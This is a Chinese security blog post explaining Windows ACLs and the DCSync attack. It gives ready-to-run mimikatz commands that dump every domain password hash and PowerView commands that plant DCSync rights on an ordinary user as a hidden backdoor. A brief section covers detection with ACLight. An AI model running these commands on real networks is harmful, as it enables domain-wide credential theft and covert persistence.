关于 Windows 下的 ACL 与 dcsync

Andrew 2020-10-29
Web安全 发布于 2020-10-29 20:24:05 阅读 89 评论 0

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.1 简介ACL

windows系统中的ACL(Access Control List),用来表示组与用户权限的列表。比如文件、注册表的权限都包括ACL,它用来表示哪些组与用户具有操作权限,其实主要是一组规则,定义哪些组与用户等对特定AD对象具有哪些权限。

大致模样

简单说明:
ACL:Access Control List,用来表示用户(组)权限的列表,包括DACL和SACL;
ACE:Access Control Entry,ACL中的元素;
DACL:Discretionary Access Control List,用来表示安全对象权限的列表;
SACL:System Access Control List,用来记录对安全对象访问的日志;

具体实现对某个文件进行访问,系统将做以下判断:

无DACL,系统将允许访问,也就是系统内的所有组与用户都没有做限制;
有DACL,无ACE,系统将拒绝所有访问,也就是系统内的组与用户有限制,但是没有ACE也就是不允许任何操作;
有DACL,有ACE,将就是按照ACE的内容去执行相应组与用户的限制,只有对应的ACE可以进行操作;

具体文件内

查看文件夹C:\Windows\SYSVOL\sysvol\0day.org的DACL,详情看标注:

选择一条DACL包含多个ACE,表示具有的权限如下:

No.2 针对ACL的操作

icacls操作ACL

查看指定文件的ACL其中(OI)代表对象继承 (CI)代表容器继承 (F)代表完全访问:
icacls C:\Windows\SYSVOL\sysvol\0day.org

备份指定文件夹ACL:
icacls C:\Windows\SYSVOL\sysvol\0day.org /save Aclback /t

还原先前备份的ACL(注意这里还原的路径需要为先前备份的路径的上一级):
icacls C:\Windows\SYSVOL\sysvol\ /restore Aclback /t

添加用户对指定文件的完全访问权限:
icacls C:\Windows\SYSVOL\sysvol\0day.org /grant jack:(OI)(CI)(F) /t

效果如下:

移除用户对指定文件(包括当前目录、子目录)的完全访问权限:
icacls C:\Windows\SYSVOL\sysvol\0day.org /remove jack /t

效果如下,已无先前条目:

powershell操作ACL

查看指定路径的ACL:
Get-Acl -Path ‘C:\Windows\SYSVOL\sysvol\0day.org’| Format-Table -wrap

添加用户对指定文件的完全访问权限:

查询后效果如下:

移除用户对指定文件的完全访问权限,效果如下:

注册表操作ACL

查看指定路径的ACL:
Get-Acl -Path ‘HKLM:\SAM’| Format-Table -wrap

获得Access项的具体内容:
$acl = Get-Acl -Path ‘HKLM:\SAM’
$acl.Access

添加用户对指定路径的完全访问权限:

注意:
注册表项HKLM:\SAM的ACL需要Administrator权限
注册表项HKLM:\SAM\SAM的ACL需要System权限
最终查询效果如下:

移除用户对指定路径的完全访问权限

No.3 简介dcsync

dcsync其实是mimikatz的一个功能,能够从域控内导出帐户密码hash,如果我们在域内一台主机上获得了域管理员权限,能够使用相关命令获得其他用户hash;默认情况下,只有部分权限(后文会提)能够使用dcsync,结合上文知识可实现给普通用户增加策略权限使用dcsync导出hash。

原理

利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据,这里这个点参考链接写的更详细

正常情况下导出方法

获得任意个用户的权限:Administrators组内的用户、Domain Admins组内的用户、Enterprise Admins组内的用户、域控制器的计算机帐户
当前为域管用户,导出域内所有用户的hash:
mimikatz.exe “lsadump::dcsync /domain:0day.org /all /csv” exit

导出指定用户,如adminisitrator的hash:
mimikatz.exe “lsadump::dcsync /domain:0day.org /user:administrator /csv” exit

还有些其他方法

使用runas登录sqladmin用户再dcsync,当然这里也是要有权限的:
runas /noprofile /user:sqladmin@0day.org cmd

获得hash:
mimikatz.exe privilege::debug “lsadump::dcsync /domain:0day.org /all /csv” exit

也可以不弹框的:
runas /noprofile /user:sqladmin@0day.org c:\test\1.bat

bat内容如下:

最终结果:

No.4 结合使用

获得任意个用户的权限:Domain Admins组内的用户、Enterprise Admins组内的用户

主要原理

向域内的一个普通用户添加如下三条ACE(Access Control Entries):
DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2);
DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2);
DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c);
即可使用相关账户导出域内用户hash。
jack普通用户,确认无法获取hash信息:
mimikatz.exe privilege::debug “lsadump::dcsync /domain:0day.org /all /csv” exit

最直接:
添加用户对指定对象(guid)的完全访问权限:
Add-DomainObjectAcl -TargetIdentity ‘1131f6aa-9c07-11d1-f79f-00c04fc2dcd2’ -PrincipalIdentity jack -Rights All
移除用户对指定对象(guid)的完全访问权限:
Remove-DomainObjectAcl -TargetIdentity ‘1131f6aa-9c07-11d1-f79f-00c04fc2dcd2’ -PrincipalIdentity jack -Rights All
这里结合powerview:
https://github.com/PowerShellMafia/PowerSp...
添加ACE:
Add-DomainObjectAcl -TargetIdentity “DC=0day,DC=org” -PrincipalIdentity jack -Rights DCSync

对比确认新增如下:

相关用户可获得hash信息如下:

删除普通用户jack权限:
Remove-DomainObjectAcl -TargetIdentity “DC=0day,DC=org” -PrincipalIdentity jack -Rights DCSync

无法获取hash信息:

No.5 针对此类dcsync后门检测方法

当前Win2008为powershell2,需要升级.net到4.5.2安装高版本powershell,两个链接亲测可升级完成:
https://www.microsoft.com/net/download/fra...
https://www.microsoft.com/en-us/download/d...
github.com/cyberark/ACLight
执行项目中的Execute-ACLight2.bat,是需要上面提到的环境的:

生成三个文件:
Privileged Accounts - Layers Analysis.txt这是在扫描网络中发现的最特权帐户的重要而直接的列表;
Privileged Accounts Permissions - Final Report.csv最终摘要报告,在此文件中,您将找到每个帐户具有的确切敏感权限是什么;
Privileged Accounts Permissions - Irregular Accounts.csv类似于最终报告,仅具有直接分配ACL权限(而不是通过其组成员身份)的特权帐户。

No.6 参考资料

https://docs.microsoft.com/en-us/openspecs...

https://3gstudent.github.io/3gstudent.github.io/域渗透-DCSync

原创:雷神众测
原文链接:https://mp.weixin.qq.com/s/Eo7h1cNnN5_8QYs...

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!